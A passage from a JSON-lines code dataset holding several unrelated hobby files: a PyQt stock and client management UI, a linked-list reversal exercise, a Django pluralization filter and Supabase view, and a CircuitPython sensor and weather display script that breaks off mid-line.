20px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover{\\n\"\r\n\" border: 1px solid black;\\n\"\r\n\" font-size: 17px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:pressed{\\n\"\r\n\" font-size: 15px;\\n\"\r\n\" boder: 3px solid black;\\n\"\r\n\"}\")\r\n self.btn_cadastrar_cliente.setObjectName(\"btn_cadastrar_cliente\")\r\n self.verticalLayout_8.addWidget(self.btn_cadastrar_cliente)\r\n spacerItem4 = QtWidgets.QSpacerItem(18, 30, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\r\n self.verticalLayout_8.addItem(spacerItem4)\r\n self.btn_alterar_cliente = QtWidgets.QPushButton(self.widget_10)\r\n self.btn_alterar_cliente.setMinimumSize(QtCore.QSize(191, 41))\r\n font = QtGui.QFont()\r\n font.setPointSize(15)\r\n self.btn_alterar_cliente.setFont(font)\r\n self.btn_alterar_cliente.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\r\n self.btn_alterar_cliente.setStyleSheet(\"QPushButton{\\n\"\r\n\" color: white;\\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\" border-radius: 20px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover{\\n\"\r\n\" border: 1px solid black;\\n\"\r\n\" font-size: 17px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:pressed{\\n\"\r\n\" font-size: 15px;\\n\"\r\n\" boder: 3px solid black;\\n\"\r\n\"}\")\r\n self.btn_alterar_cliente.setObjectName(\"btn_alterar_cliente\")\r\n self.verticalLayout_8.addWidget(self.btn_alterar_cliente)\r\n spacerItem5 = QtWidgets.QSpacerItem(20, 30, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\r\n self.verticalLayout_8.addItem(spacerItem5)\r\n self.btn_registration_4 = QtWidgets.QPushButton(self.widget_10)\r\n self.btn_registration_4.setMinimumSize(QtCore.QSize(191, 41))\r\n font = QtGui.QFont()\r\n font.setPointSize(15)\r\n self.btn_registration_4.setFont(font)\r\n self.btn_registration_4.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\r\n self.btn_registration_4.setStyleSheet(\"QPushButton{\\n\"\r\n\" color: white;\\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\" border-radius: 20px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover{\\n\"\r\n\" border: 1px solid black;\\n\"\r\n\" font-size: 17px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:pressed{\\n\"\r\n\" font-size: 15px;\\n\"\r\n\" boder: 3px solid black;\\n\"\r\n\"}\")\r\n self.btn_registration_4.setObjectName(\"btn_registration_4\")\r\n self.verticalLayout_8.addWidget(self.btn_registration_4)\r\n self.horizontalLayout_8.addWidget(self.widget_10, 0, QtCore.Qt.AlignHCenter|QtCore.Qt.AlignVCenter)\r\n self.verticalLayout_4.addWidget(self.widget_9)\r\n self.verticalLayout_3.addWidget(self.widget_6)\r\n self.stackedWidget.addWidget(self.page_clientes)\r\n self.page_estoque = QtWidgets.QWidget()\r\n self.page_estoque.setObjectName(\"page_estoque\")\r\n self.verticalLayout_5 = QtWidgets.QVBoxLayout(self.page_estoque)\r\n self.verticalLayout_5.setObjectName(\"verticalLayout_5\")\r\n self.widget = QtWidgets.QWidget(self.page_estoque)\r\n self.widget.setObjectName(\"widget\")\r\n self.verticalLayout_6 = QtWidgets.QVBoxLayout(self.widget)\r\n self.verticalLayout_6.setSpacing(16)\r\n self.verticalLayout_6.setObjectName(\"verticalLayout_6\")\r\n self.txt_sistema_estoque = QtWidgets.QLabel(self.widget)\r\n font = QtGui.QFont()\r\n font.setPointSize(22)\r\n self.txt_sistema_estoque.setFont(font)\r\n self.txt_sistema_estoque.setStyleSheet(\"QLabel{\\n\"\r\n\" color: rgb(37, 77, 122) ; \\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"}\")\r\n self.txt_sistema_estoque.setObjectName(\"txt_sistema_estoque\")\r\n self.verticalLayout_6.addWidget(self.txt_sistema_estoque)\r\n self.widget_2 = QtWidgets.QWidget(self.widget)\r\n self.widget_2.setObjectName(\"widget_2\")\r\n self.horizontalLayout_5 = QtWidgets.QHBoxLayout(self.widget_2)\r\n self.horizontalLayout_5.setContentsMargins(0, -1, -1, -1)\r\n self.horizontalLayout_5.setSpacing(0)\r\n self.horizontalLayout_5.setObjectName(\"horizontalLayout_5\")\r\n self.img_lupa = QtWidgets.QLabel(self.widget_2)\r\n self.img_lupa.setMinimumSize(QtCore.QSize(51, 43))\r\n self.img_lupa.setMaximumSize(QtCore.QSize(51, 16777215))\r\n self.img_lupa.setStyleSheet(\"QLabel{\\n\"\r\n\"\\n\"\r\n\" background-color: rgb(37, 77, 122)\\n\"\r\n\"}\")\r\n self.img_lupa.setText(\"\")\r\n self.img_lupa.setPixmap(QtGui.QPixmap(\":/img/Nova pasta/lupa.png\"))\r\n self.img_lupa.setScaledContents(True)\r\n self.img_lupa.setWordWrap(False)\r\n self.img_lupa.setIndent(1)\r\n self.img_lupa.setObjectName(\"img_lupa\")\r\n self.horizontalLayout_5.addWidget(self.img_lupa)\r\n self.pesquisar = QtWidgets.QLineEdit(self.widget_2)\r\n self.pesquisar.setMinimumSize(QtCore.QSize(0, 43))\r\n self.pesquisar.setMaximumSize(QtCore.QSize(282, 16777215))\r\n font = QtGui.QFont()\r\n font.setPointSize(14)\r\n font.setBold(False)\r\n font.setWeight(50)\r\n self.pesquisar.setFont(font)\r\n self.pesquisar.setStyleSheet(\"QLineEdit{\\n\"\r\n\" border: 2px solid rgb(19, 79, 110) ;\\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"\")\r\n self.pesquisar.setObjectName(\"pesquisar\")\r\n self.horizontalLayout_5.addWidget(self.pesquisar)\r\n spacerItem6 = QtWidgets.QSpacerItem(406, 20, QtWidgets.QSizePolicy.MinimumExpanding, QtWidgets.QSizePolicy.Minimum)\r\n self.horizontalLayout_5.addItem(spacerItem6)\r\n self.date_estoque = QtWidgets.QLineEdit(self.widget_2)\r\n self.date_estoque.setMaximumSize(QtCore.QSize(135, 16777215))\r\n font = QtGui.QFont()\r\n font.setPointSize(21)\r\n self.date_estoque.setFont(font)\r\n self.date_estoque.setFocusPolicy(QtCore.Qt.NoFocus)\r\n self.date_estoque.setLayoutDirection(QtCore.Qt.RightToLeft)\r\n self.date_estoque.setStyleSheet(\"color:rgb(37, 77, 122);\")\r\n self.date_estoque.setObjectName(\"date_estoque\")\r\n self.horizontalLayout_5.addWidget(self.date_estoque)\r\n self.verticalLayout_6.addWidget(self.widget_2)\r\n self.widget_3 = QtWidgets.QWidget(self.widget)\r\n self.widget_3.setObjectName(\"widget_3\")\r\n self.horizontalLayout_6 = QtWidgets.QHBoxLayout(self.widget_3)\r\n self.horizontalLayout_6.setContentsMargins(0, -1, -1, -1)\r\n self.horizontalLayout_6.setObjectName(\"horizontalLayout_6\")\r\n self.insert_product = QtWidgets.QLineEdit(self.widget_3)\r\n self.insert_product.setMinimumSize(QtCore.QSize(259, 61))\r\n self.insert_product.setMaximumSize(QtCore.QSize(320, 16777215))\r\n font = QtGui.QFont()\r\n font.setPointSize(13)\r\n self.insert_product.setFont(font)\r\n self.insert_product.setStyleSheet(\"QLineEdit{\\n\"\r\n\" border: none;\\n\"\r\n\" border-bottom: 2px solid rgb(19, 79, 110) ;\\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"}\")\r\n self.insert_product.setObjectName(\"insert_product\")\r\n self.horizontalLayout_6.addWidget(self.insert_product)\r\n self.insert_quantidade = QtWidgets.QLineEdit(self.widget_3)\r\n self.insert_quantidade.setMinimumSize(QtCore.QSize(259, 61))\r\n self.insert_quantidade.setMaximumSize(QtCore.QSize(320, 16777215))\r\n font = QtGui.QFont()\r\n font.setPointSize(13)\r\n self.insert_quantidade.setFont(font)\r\n self.insert_quantidade.setStyleSheet(\"QLineEdit{\\n\"\r\n\" border: none;\\n\"\r\n\" border-bottom: 2px solid rgb(19, 79, 110) ;\\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"}\")\r\n self.insert_quantidade.setObjectName(\"insert_quantidade\")\r\n self.horizontalLayout_6.addWidget(self.insert_quantidade)\r\n spacerItem7 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\r\n self.horizontalLayout_6.addItem(spacerItem7)\r\n self.verticalLayout_6.addWidget(self.widget_3)\r\n self.widget_5 = QtWidgets.QWidget(self.widget)\r\n self.widget_5.setObjectName(\"widget_5\")\r\n self.horizontalLayout_7 = QtWidgets.QHBoxLayout(self.widget_5)\r\n self.horizontalLayout_7.setObjectName(\"horizontalLayout_7\")\r\n self.table_estoque = QtWidgets.QTableWidget(self.widget_5)\r\n font = QtGui.QFont()\r\n font.setPointSize(10)\r\n self.table_estoque.setFont(font)\r\n self.table_estoque.setStyleSheet(\"QTableWidget {\\n\"\r\n\" gridline-color: rgb(37, 77, 122);\\n\"\r\n\" background-color: transparent;\\n\"\r\n\" outline: 0;\\n\"\r\n\" border: 1px solid rgb(37, 77, 122);\\n\"\r\n\" border-top: 0px\\n\"\r\n\" \\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QTableWidget::item:selected{\\n\"\r\n\" background-color: rgb(87, 135, 189);\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QTableWidget::horizontalHeader { \\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QHeaderView::section:horizontal\\n\"\r\n\"{\\n\"\r\n\" border: 1px solid rgb(37, 77, 122);\\n\"\r\n\" background-color: transparent;\\n\"\r\n\" border-left: 0px;\\n\"\r\n\" color: black;\\n\"\r\n\"\\n\"\r\n\"}\\n\"\r\n\"\")\r\n\r\n self.table_estoque.setFrameShadow(QtWidgets.QFrame.Sunken)\r\n self.table_estoque.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection)\r\n self.table_estoque.setShowGrid(True)\r\n self.table_estoque.setObjectName(\"table_estoque\")\r\n self.table_estoque.setColumnCount(3)\r\n self.table_estoque.setRowCount(0)\r\n item = QtWidgets.QTableWidgetItem()\r\n font = QtGui.QFont()\r\n font.setPointSize(11)\r\n item.setFont(font)\r\n self.table_estoque.setHorizontalHeaderItem(0, item)\r\n item = QtWidgets.QTableWidgetItem()\r\n font = QtGui.QFont()\r\n font.setPointSize(12)\r\n item.setFont(font)\r\n self.table_estoque.setHorizontalHeaderItem(1, item)\r\n item = QtWidgets.QTableWidgetItem()\r\n font = QtGui.QFont()\r\n font.setPointSize(11)\r\n item.setFont(font)\r\n self.table_estoque.horizontalHeader().setSectionResizeMode(1, QtWidgets.QHeaderView.Stretch)\r\n self.table_estoque.setHorizontalHeaderItem(2, item)\r\n self.table_estoque.horizontalHeader().setVisible(True)\r\n self.table_estoque.horizontalHeader().setHighlightSections(False)\r\n self.table_estoque.horizontalHeader().setSortIndicatorShown(False)\r\n self.table_estoque.horizontalHeader().setStretchLastSection(False)\r\n self.table_estoque.verticalHeader().setVisible(False)\r\n self.table_estoque.verticalHeader().setCascadingSectionResizes(False)\r\n self.table_estoque.verticalHeader().setHighlightSections(False)\r\n self.table_estoque.verticalHeader().setMinimumSectionSize(20)\r\n self.table_estoque.verticalHeader().setSortIndicatorShown(False)\r\n self.table_estoque.verticalHeader().setStretchLastSection(False)\r\n self.horizontalLayout_7.addWidget(self.table_estoque)\r\n self.widget_8 = QtWidgets.QWidget(self.widget_5)\r\n self.widget_8.setObjectName(\"widget_8\")\r\n self.verticalLayout_7 = QtWidgets.QVBoxLayout(self.widget_8)\r\n self.verticalLayout_7.setObjectName(\"verticalLayout_7\")\r\n self.btn_cadastrar_estoque = QtWidgets.QPushButton(self.widget_8)\r\n self.btn_cadastrar_estoque.setMinimumSize(QtCore.QSize(191, 41))\r\n font = QtGui.QFont()\r\n font.setPointSize(15)\r\n self.btn_cadastrar_estoque.setFont(font)\r\n self.btn_cadastrar_estoque.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\r\n self.btn_cadastrar_estoque.setStyleSheet(\"QPushButton{\\n\"\r\n\" color: white;\\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\" border-radius: 20px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover{\\n\"\r\n\" border: 1px solid black;\\n\"\r\n\" font-size: 17px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:pressed{\\n\"\r\n\" font-size: 15px;\\n\"\r\n\" boder: 3px solid black;\\n\"\r\n\"}\")\r\n self.btn_cadastrar_estoque.setObjectName(\"btn_cadastrar_estoque\")\r\n self.verticalLayout_7.addWidget(self.btn_cadastrar_estoque)\r\n spacerItem8 = QtWidgets.QSpacerItem(20, 30, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\r\n self.verticalLayout_7.addItem(spacerItem8)\r\n self.btn_alterar_estoque = QtWidgets.QPushButton(self.widget_8)\r\n self.btn_alterar_estoque.setMinimumSize(QtCore.QSize(191, 41))\r\n font = QtGui.QFont()\r\n font.setPointSize(15)\r\n self.btn_alterar_estoque.setFont(font)\r\n self.btn_alterar_estoque.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\r\n self.btn_alterar_estoque.setStyleSheet(\"QPushButton{\\n\"\r\n\" color: white;\\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\" border-radius: 20px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover{\\n\"\r\n\" border: 1px solid black;\\n\"\r\n\" font-size: 17px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:pressed{\\n\"\r\n\" font-size: 15px;\\n\"\r\n\" boder: 3px solid black;\\n\"\r\n\"}\")\r\n self.btn_alterar_estoque.setObjectName(\"btn_alterar_estoque\")\r\n self.verticalLayout_7.addWidget(self.btn_alterar_estoque)\r\n spacerItem9 = QtWidgets.QSpacerItem(20, 30, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\r\n self.verticalLayout_7.addItem(spacerItem9)\r\n self.btn_excluir_estoque = QtWidgets.QPushButton(self.widget_8)\r\n self.btn_excluir_estoque.setMinimumSize(QtCore.QSize(191, 41))\r\n font = QtGui.QFont()\r\n font.setPointSize(15)\r\n self.btn_excluir_estoque.setFont(font)\r\n self.btn_excluir_estoque.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\r\n self.btn_excluir_estoque.setStyleSheet(\"QPushButton{\\n\"\r\n\" color: white;\\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\" border-radius: 20px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover{\\n\"\r\n\" border: 1px solid black;\\n\"\r\n\" font-size: 17px;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:pressed{\\n\"\r\n\" font-size: 15px;\\n\"\r\n\" boder: 3px solid black;\\n\"\r\n\"}\")\r\n self.btn_excluir_estoque.setObjectName(\"btn_excluir_estoque\")\r\n self.verticalLayout_7.addWidget(self.btn_excluir_estoque)\r\n self.horizontalLayout_7.addWidget(self.widget_8, 0, QtCore.Qt.AlignHCenter|QtCore.Qt.AlignVCenter)\r\n self.verticalLayout_6.addWidget(self.widget_5)\r\n self.verticalLayout_5.addWidget(self.widget)\r\n self.stackedWidget.addWidget(self.page_estoque)\r\n self.verticalLayout.addWidget(self.stackedWidget)\r\n self.horizontalLayout.addWidget(self.conteudo)\r\n MainWindow.setCentralWidget(self.centralwidget)\r\n\r\n self.retranslateUi(MainWindow)\r\n self.stackedWidget.setCurrentIndex(1)\r\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\r\n\r\n def retranslateUi(self, MainWindow):\r\n _translate = QtCore.QCoreApplication.translate\r\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))\r\n self.txt_bem_vindo.setText(_translate(\"MainWindow\", \"bem vindo\"))\r\n self.txt_cadastrar.setText(_translate(\"MainWindow\", \"CADASTRAR CLIENTE\"))\r\n self.pesquisar_2.setPlaceholderText(_translate(\"MainWindow\", \"Pesquisar\"))\r\n self.date_cliente.setText(_translate(\"MainWindow\", \"12:12:12\"))\r\n self.insert_nome.setPlaceholderText(_translate(\"MainWindow\", \"Nome\"))\r\n self.insert_carro.setPlaceholderText(_translate(\"MainWindow\", \"Carro\"))\r\n self.insert_numero.setPlaceholderText(_translate(\"MainWindow\", \"Numero\"))\r\n self.insert_placa.setPlaceholderText(_translate(\"MainWindow\", \"Placa\"))\r\n item = self.table_cliente.horizontalHeaderItem(0)\r\n item.setText(_translate(\"MainWindow\", \"cod\"))\r\n item = self.table_cliente.horizontalHeaderItem(1)\r\n item.setText(_translate(\"MainWindow\", \"Nome\"))\r\n item = self.table_cliente.horizontalHeaderItem(2)\r\n item.setText(_translate(\"MainWindow\", \"Carro\"))\r\n item = self.table_cliente.horizontalHeaderItem(3)\r\n item.setText(_translate(\"MainWindow\", \"Placa\"))\r\n item = self.table_cliente.horizontalHeaderItem(4)\r\n item.setText(_translate(\"MainWindow\", \"Numero\"))\r\n self.btn_cadastrar_cliente.setText(_translate(\"MainWindow\", \"cadastrar\"))\r\n self.btn_alterar_cliente.setText(_translate(\"MainWindow\", \"Alterar\"))\r\n self.btn_registration_4.setText(_translate(\"MainWindow\", \"Excluir\"))\r\n self.txt_sistema_estoque.setText(_translate(\"MainWindow\", \"SISTEMA DE ESTOQUE\"))\r\n self.pesquisar.setPlaceholderText(_translate(\"MainWindow\", \"Pesquisar\"))\r\n self.date_estoque.setText(_translate(\"MainWindow\", \"12:12:12\"))\r\n self.insert_product.setPlaceholderText(_translate(\"MainWindow\", \"Produto\"))\r\n self.insert_quantidade.setPlaceholderText(_translate(\"MainWindow\", \"Quantidade\"))\r\n item = self.table_estoque.horizontalHeaderItem(0)\r\n item.setText(_translate(\"MainWindow\", \"Cod\"))\r\n item = self.table_estoque.horizontalHeaderItem(1)\r\n item.setText(_translate(\"MainWindow\", \"Produto\"))\r\n item = self.table_estoque.horizontalHeaderItem(2)\r\n item.setText(_translate(\"MainWindow\", \"Quantidade\"))\r\n self.btn_cadastrar_estoque.setText(_translate(\"MainWindow\", \"cadastrar\"))\r\n self.btn_alterar_estoque.setText(_translate(\"MainWindow\", \"Alterar\"))\r\n self.btn_excluir_estoque.setText(_translate(\"MainWindow\", \"Excluir\"))\r\n\r\nimport files_rc.img_rc as img_rc","repo_name":"Gustavodeoliveiraa/Sistema","sub_path":"estoque.py","file_name":"estoque.py","file_ext":"py","file_size_in_byte":38396,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"71613288132","text":"# 연결 리스트를 뒤집어라.\n\ninput = [1, 2, 3, 4, 5, None]\n\n\nclass ListNode:\n def __init__(self, val):\n self.val = val\n self.next = None\n\n\nl1 = [ListNode(lst) for lst in input]\n\ntry:\n for idx, lst in enumerate(l1):\n lst.next = l1[idx + 1]\nexcept:\n pass\n\n\nclass solution:\n def reverseList(self, head: ListNode) -> ListNode:\n node, prev = head, None\n\n while node:\n next, node.next = node.next, prev\n prev, node = node, next\n\n return prev\n\n\nsol = solution()\n\n\nresult = sol.reverseList(l1[0])\n\nwhile result:\n print(result.val)\n result = result.next\n","repo_name":"ShinguHan/myAlgorithm","sub_path":"015_역순연결리스트-2.py","file_name":"015_역순연결리스트-2.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"42790199655","text":"from django import template\n\n# Это чтобы register.filter работал\nregister = template.Library()\n\n# Расскажем django о нашем крутом фильтре\n@register.filter\ndef rupluralize(value, arg=\"результат,результата,результатов\"):\n args = arg.split(\",\")\n number = abs(int(value))\n a = number % 10\n b = number % 100\n\n if (a == 1) and (b != 11):\n return args[0]\n elif (a >= 2) and (a <= 4) and ((b < 10) or (b >= 20)):\n return args[1]\n else:\n return args[2]","repo_name":"artem-svistelnik/diplom","sub_path":"diplomapp/templatetags/rupluralize.py","file_name":"rupluralize.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"2565475476","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom supabase import create_client \nfrom django.conf import settings\nfrom setup.utils.get_table_data import get_table_data\n\ndef index(request):\n data = get_table_data('apartments_apartment')\n\n context = {\n 'data': data,\n }\n\n return render(request, 'apartments/index.html', context)\n\ndef send_apartment_to_supabase(request):\n number = request.POST.get('number')\n bedrooms = request.POST.get('bedrooms')\n bathrooms = request.POST.get('bathrooms')\n description = request.POST.get('description')\n\n supabase = create_client(settings.SUPABASE_URL, settings.SUPABASE_KEY)\n\n dados = [{'number': number, 'bedrooms': bedrooms, 'bathrooms': bathrooms, 'description': description}]\n resultado, erro = supabase.table('apartments_apartment').upsert(dados).execute()\n\n return redirect('apartments_index')\n","repo_name":"WesleyBortoloso/condify_app","sub_path":"apartments/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"7824546603","text":"import alarm\nimport time\nimport board\nimport ipaddress\nimport ssl\nimport wifi\nimport socketpool\nimport adafruit_requests\nfrom secrets import secrets\nimport adafruit_scd4x\nimport adafruit_bmp280\nfrom adafruit_lc709203f import LC709203F\nimport terminalio\nfrom adafruit_display_text import label\nimport displayio\nimport adafruit_imageload\nimport adafruit_il0373\nfrom adafruit_io.adafruit_io import IO_HTTP, AdafruitIO_RequestError\nfrom adafruit_bitmap_font import bitmap_font\n\nspi = board.SPI() # Uses SCK and MOSI\necs = board.D9\ndc = board.D10\nrst = None # set to None for FeatherWing/Shield\nbusy = None\n\ndisplayio.release_displays()\ndisplay_bus = displayio.FourWire(spi, command=dc, chip_select=ecs, reset=rst, baudrate=1000000)\n\ntime.sleep(1) # Wait a bit\ndisplay = adafruit_il0373.IL0373(display_bus, width=128, height=296, border=0x000000, swap_rams=False, busy_pin=busy, rotation=180, highlight_color=0xFFFFFF, black_bits_inverted=False, color_bits_inverted=False, grayscale=True, refresh_time=10)\n\ni2c = board.STEMMA_I2C()\ntime.sleep(1) # Wait a bit\n\nbmp280 = adafruit_bmp280.Adafruit_BMP280_I2C(i2c)\n# Set fixed altitude otherwise set the the local bmp280.sea_level_pressure\nbmp280.altitude = 695.0\nbmp280.mode = adafruit_bmp280.MODE_FORCE\nbmp280.overscan_pressure = adafruit_bmp280.OVERSCAN_X2\n# bmp280.t_standby = STANDBY_TC_0_5\nbatt = LC709203F(i2c)\nwifi.radio.enabled = True\nprint(\"My MAC addr:\", [hex(i) for i in wifi.radio.mac_address])\nwifi.radio.stop_scanning_networks()\ntry:\n wifi.radio.connect(secrets[\"ssid\"], secrets[\"password\"])\nexcept:\n print(\"Cannot connect to WIFI \")\n pass\nprint(\"Connected to %s!\"%secrets[\"ssid\"])\nprint(\"My IP address is\", wifi.radio.ipv4_address)\npool = socketpool.SocketPool(wifi.radio)\ntry:\n requests = adafruit_requests.Session(pool, ssl.create_default_context())\nexcept:\n print(\"Cannot requests\")\n\nWEATHER_URL = \"https://weather.gc.ca/rss/city/bc-86_e.xml\"\n\ntry:\n response = requests.get(WEATHER_URL, timeout=5)\n time.sleep(1)\n forecast = [line.lstrip(\" \").rstrip(\"\") for line in response.text.split(\"\\n\") if (line.startswith(\" \")) or (line.startswith(\" <![CDATA\"))]\n print(forecast)\n try:\n outside_humidity = forecast[2].split(\"Humidity:</b> \")\n outside_humidity = outside_humidity[1][:3].strip()\n print(outside_humidity + \"%\")\n except:\n outside_humidity = forecast[1].split(\"Humidity:</b> \")\n outside_humidity = outside_humidity[1][:3].strip()\n print(\"cannot get humidity\")\n try:\n outside_temp = forecast[2].split(\"Temperature:</b> \")\n print(outside_temp)\n outside_temp = outside_temp[1][:4].strip()\n print(outside_temp + \"°C\")\n except:\n outside_temp = forecast[1].split(\"Temperature:</b> \")\n print(outside_temp)\n outside_temp = outside_temp[1][:4].strip()\n print(\"Cannot get external temp\")\nexcept:\n print(\"Cannot fetch weather \")\n pass\n\nscd4x = adafruit_scd4x.SCD4X(i2c)\nscd4x.altitude = 695\nscd4x.temperature_offset = 3.0\n# scd4x.force_calibration(440)\n# scd4x.factory_reset()\n# scd4x.persist_settings()\ntime.sleep(1) # Wait a bit\nscd4x.start_periodic_measurement()\n\naio_username = secrets[\"aio_username\"]\naio_key = secrets[\"aio_key\"]\nio = IO_HTTP(aio_username, aio_key, requests)\n\nfont = bitmap_font.load_font(\"/Helvetica-Bold-16.bdf\")\nfont2 = bitmap_font.load_font(\"/IBMPlexMono-Medium-24.bdf\")\n\nTEMP_label = label.Label(font, text=\"TEMP\", color=0x000000, scale=2)\nTEMP_label.x = 28\nTEMP_label.y = 15\n\nOUTDOOR_TEMP_label = label.Label(font2, text=\"OUTDOOR TEMP\", color=0x000000, scale=1)\nOUTDOOR_TEMP_label.x = 40\nOUTDOOR_TEMP_label.y = 42\n\nHUM_label = label.Label(font, text=\"HUM\", color=0x000000, scale=2)\nHUM_label.x = 30\nHUM_label.y = 75\n\nOUTDOOR_HUM_label = label.Label(font2, text=\"OUTDOOR HUM\", color=0x000000, scale=1)\nOUTDOOR_HUM_label.x = 45\nOUTDOOR_HUM_label.y = 102\n\nC02_label = label.Label(font2, text=\"C02 \", color=0x000000, scale=2)\nC02_label.x = 5\nC02_label.y = 160\n\nPRES_label = label.Label(font2, text=\"PRES\", color=0x000000, scale=1)\nPRES_label.x = 15\nPRES_label.y = 225\n\nALT_label = label.Label(font2, text=\"ALT\", color=0x000000, scale=1)\nALT_label.x = 15\nALT_label.y = 250\n\nBATT_label = label.Label(font2, text=\"BATT\", color=0x000000, scale=1)\nBATT_label.x = 50\nBATT_label.y = 280\n\nbitmap = displayio.Bitmap(display.width, display.height, 4)\npalette = displayio.Palette(4)\npalette[0] = 0x000000\npalette[1] = 0xFFFFFF #b'\\xff\\xff\\xff'\npalette[2] = 0x333333\npalette[3] = 0x666666\n\n# displayio.Palette.make_transparent(palette[2])\n\n# Create a TileGrid using the Bitmap and Palette\ntile_grid = displayio.TileGrid(bitmap, pixel_shader=palette)\n\n# # Create a display group for our screen objects\ng = displayio.Group()\ng.append(tile_grid)\n\nbitmap.fill(1)\ng.append(C02_label)\ng.append(TEMP_label)\ng.append(OUTDOOR_TEMP_label)\ng.append(HUM_label)\ng.append(OUTDOOR_HUM_label)\ng.append(PRES_label)\ng.append(ALT_label)\ng.append(BATT_label)\n\nsprite_sheet, palette = adafruit_imageload.load(\"/spritesheet.bmp\", bitmap=displayio.Bitmap, palette=displayio.Palette)\n# Example using displayio.OnDiskBitmap() vs adafruit_imageload()\n# f = open(\"/top.bmp\", \"rb\")\n# pic = displayio.OnDiskBitmap(f)\n# t = displayio.TileGrid(pic, pixel_shader=pic.pixel_shader)\n# t.transpose_xy = True\n# g.append(t)\nsprite_bat = displayio.TileGrid(sprite_sheet, pixel_shader=palette, width = 1, height = 1, tile_width = 16, tile_height = 16)\nsprite_temp = displayio.TileGrid(sprite_sheet, pixel_shader=palette, width = 1, height = 1, tile_width = 16, tile_height = 16)\nsprite_humid = displayio.TileGrid(sprite_sheet, pixel_shader=palette, width = 1, height = 1, tile_width = 16, tile_height = 16)\n# sprite.transpose_xy = True\n\nsprite_bat.x = 2\nsprite_bat.y = 132\nif (batt.cell_percent > 95):\n sprite_bat[0] = 4\nelif (batt.cell_percent < 96) and (batt.cell_percent > 50):\n sprite_bat[0] = 3\nelif (batt.cell_percent < 51) and (batt.cell_percent > 35):\n sprite_bat[0] = 2\nelif (batt.cell_percent < 36) and (batt.cell_percent > 5):\n sprite_bat[0] = 1\nelse:\n sprite_bat[0] = 0\n\nsprite_temp.x = -2\nsprite_temp.y = 6\nif (bmp280.temperature > 25):\n sprite_temp[0] = 9\nelif (bmp280.temperature < 26) and (bmp280.temperature > 20):\n sprite_temp[0] = 8\nelif (bmp280.temperature < 21) and (bmp280.temperature > 18):\n sprite_temp[0] = 7\nelif (bmp280.temperature < 19) and (bmp280.temperature > 15):\n sprite_temp[0] = 6\nelse:\n sprite_temp[0] = 5\n\nsprite_humid.x = -2\nsprite_humid.y = 38\nif (scd4x.relative_humidity > 75):\n sprite_humid[0] = 14\nelif (scd4x.relative_humidity < 76) and (scd4x.relative_humidity > 50):\n sprite_humid[0] = 13\nelif (scd4x.relative_humidity < 51) and (scd4x.relative_humidity > 35):\n sprite_humid[0] = 12\nelif (scd4x.relative_humidity < 36) and (scd4x.relative_humidity > 20):\n sprite_humid[0] = 11\nelse:\n sprite_humid[0] = 10\n\ngfx = displayio.Group(scale=2)\ngfx.append(sprite_bat)\ngfx.append(sprite_temp)\ngfx.append(sprite_humid)\n\ncomp = displayio.Group()\ncomp.append(g)\ncomp.append(gfx)\n\n# # Place the display group on the screen\n# display.show(comp) \ndisplay.root_group = comp\n\nambient_pressure = bmp280.pressure\nscd4x.set_ambient_pressure(int(ambient_pressure))\n\ndef send_multiple(self, feeds_and_data: List, timeout: int = 3, is_group: bool = False):\n pass\n\n\nwhile True:\n bmp280.altitude = 